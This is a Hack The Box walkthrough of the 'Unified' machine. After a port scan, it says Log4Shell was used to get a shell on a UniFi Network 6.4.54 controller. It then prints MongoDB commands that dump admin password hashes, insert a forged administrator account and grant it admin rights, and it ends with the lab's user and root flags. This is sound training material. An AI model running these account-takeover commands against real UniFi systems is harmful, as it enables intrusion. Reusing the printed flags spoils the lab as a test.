HTB Walkthrough - Unified

By Tony Harkness

January 14, 2025 - 4 minutes read - 693 words

Information Gathering

Scanned all TCP ports:

# save target IP as machine variable
export ip='10.129.54.95'

#initial scan
rustscan -a $ip -- -sVC --open -oN initial
#scan results
PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
<SNIP>
6789/tcp open  ibm-db2-admin?  syn-ack ttl 63
8080/tcp open  http-proxy      syn-ack ttl 63
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://10.129.54.95:8443/manage
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 431
|     Date: Tue, 14 Jan 2025 04:33:00 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 404
|     <SNIP>
|     Location: http://localhost:8080/manage
|     </SNIP>
|_http-open-proxy: Proxy might be redirecting requests
8443/tcp open  ssl/nagios-nsca syn-ack ttl 63 Nagios NSCA
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US/localityName=New York/organizationalUnitName=UniFi
| Subject Alternative Name: DNS:UniFi
| Issuer: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US/localityName=New York/organizationalUnitName=UniFi
<SNIP>
| http-title: UniFi Network
|_Requested resource was /manage/account/login?redirect=%2Fmanage
8843/tcp open  ssl/unknown     syn-ack ttl 63
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 400
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Tue, 14 Jan 2025 04:33:25 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400
<SNIP>
|_    Request</h1></body></html>
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US/localityName=New York/organizationalUnitName=UniFi
| Subject Alternative Name: DNS:UniFi
| Issuer: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US/localityName=New York/organizationalUnitName=UniFi
<SNIP>
8880/tcp open  cddbp-alt?      syn-ack ttl 63
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 431
|     Date: Tue, 14 Jan 2025 04:33:01 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title<SNIP>

Steps 2 Pwn

Navigated to port 8443 in chromium

discovered a Unifi Network v6.4.54 login page
searched for vulnerabilities on Chrome associated with this version of Unifi and found CVE-2021-44228 and this writeup
Using the exploit, I landed a reverse shell as the unifi user and grabbed the user flag
Upgraded shell in netcat via:
```
script /dev/null -c bash
```
I then found the mongoDB running on port 27117 via ps aux | grep mongo

Then as directed from the writeup, I gathered the below info on users using the following command:

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/ace
MongoDB server version: 3.6.3
{
        "_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
        "name" : "administrator",
        "email" : "administrator@unified.htb",
        "x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",
        "time_created" : NumberLong(1640900495),
        "last_site_name" : "default"
}
{
        "_id" : ObjectId("61ce4a63fbce5e00116f424f"),
        "email" : "michael@unified.htb",
        "name" : "michael",
        "x_shadow" : "$6$spHwHYVF$mF/VQrMNGSau0IP7LjqQMfF5VjZBph6VUf4clW3SULqBjDNQwW.BlIqsafYbLWmKRhfWTiZLjhSP.D/M1h5yJ0",
        "requires_new_password" : false,
        "time_created" : NumberLong(1640909411),
        "last_site_name" : "default",
        "email_alert_enabled" : false,
        "email_alert_grouping_enabled" : false,
        "email_alert_grouping_delay" : 60,
        "push_alert_enabled" : false
}
{
        "_id" : ObjectId("61ce4ce8fbce5e00116f4251"),
        "email" : "seamus@unified.htb",
        "name" : "Seamus",
        "x_shadow" : "$6$NT.hcX..$aFei35dMy7Ddn.O.UFybjrAaRR5UfzzChhIeCs0lp1mmXhVHol6feKv4hj8LaGe0dTiyvq1tmA.j9.kfDP.xC.",
        "requires_new_password" : true,
        "time_created" : NumberLong(1640910056),
        "last_site_name" : "default"
}
{
        "_id" : ObjectId("61ce4d27fbce5e00116f4252"),
        "email" : "warren@unified.htb",
        "name" : "warren",
        "x_shadow" : "$6$DDOzp/8g$VXE2i.FgQSRJvTu.8G4jtxhJ8gm22FuCoQbAhhyLFCMcwX95ybr4dCJR/Otas100PZA9fHWgTpWYzth5KcaCZ.",
        "requires_new_password" : true,
        "time_created" : NumberLong(1640910119),
        "last_site_name" : "default"
}
{
        "_id" : ObjectId("61ce4d51fbce5e00116f4253"),
        "email" : "james@unfiied.htb",
        "name" : "james",
        "x_shadow" : "$6$ON/tM.23$cp3j11TkOCDVdy/DzOtpEbRC5mqbi1PPUM6N4ao3Bog8rO.ZGqn6Xysm3v0bKtyclltYmYvbXLhNybGyjvAey1",
        "requires_new_password" : false,
        "time_created" : NumberLong(1640910161),
        "last_site_name" : "default"
}

Instead of cracking the hash, we will make a shadow admin as directed from the writeup

New user command

mongo --port 27117 ace --eval 'db.admin.insert({"email" : "administrator@unified.htb", "last_site_name" : "default", "name" : "administrator", "time_created" : "NumberLong(1640900495)", "x_shadow" : "$6$/H/eDWRkR4Y62y3y$g/5emeC9bvebAIaYNrZA2cbMT6oSi8cqzYHNE5VLyyJKSxJqGha8A9HPKwg342G2QmTNHu9RiBTb/jgQXuFB41"})'

New user info

{
        "_id" : ObjectId("6786d996e7ac6f2f61926513"),
        "email" : "administrator@unified.htb",
        "last_site_name" : "default",
        "name" : "administrator",
        "time_created" : "NumberLong(1640900495)",
        "x_shadow" : "$6$/H/eDWRkR4Y62y3y$g/5emeC9bvebAIaYNrZA2cbMT6oSi8cqzYHNE5VLyyJKSxJqGha8A9HPKwg342G2QmTNHu9RiBTb/jgQXuFB41"
}

Sites command

mongo --port 27117 ace --eval "db.site.find().forEach(printjson);"

Sites info

{
        "_id" : ObjectId("61ce269d46e0fb0012d47ec4"),
        "anonymous_id" : "5abcfa17-8e78-4677-8898-d3ffdf9d957c",
        "name" : "super",
        "key" : "super",
        "attr_hidden_id" : "super",
        "attr_hidden" : true,
        "attr_no_delete" : true,
        "attr_no_edit" : true
}
{
        "_id" : ObjectId("61ce269d46e0fb0012d47ec5"),
        "anonymous_id" : "27593916-7dfe-4ce8-82de-b11f98c1e814",
        "name" : "default",
        "desc" : "Default",
        "attr_hidden_id" : "default",
        "attr_no_delete" : true
}

Command to insert newly created user with “super” site

mongo --port 27117 ace --eval 'db.privilege.insert({ "admin_id" : "6786d996e7ac6f2f61926513", "permissions" : [ ], "role" : "admin", "site_id" : "61ce269d46e0fb0012d47ec4" });'

NOTE: Make sure to change the value of admin_id and site_id where needed.

Then, was able to login to the unifi dashboard as an Administrator
Received ssh creds which happened to be for the root user
SSH’d as root and retrieved root flag

Trophy

User.txt

6ced1a6a89e666c0620cdb10262ba127

Root.txt

e50bc93c75b634e4b272d2f771c33681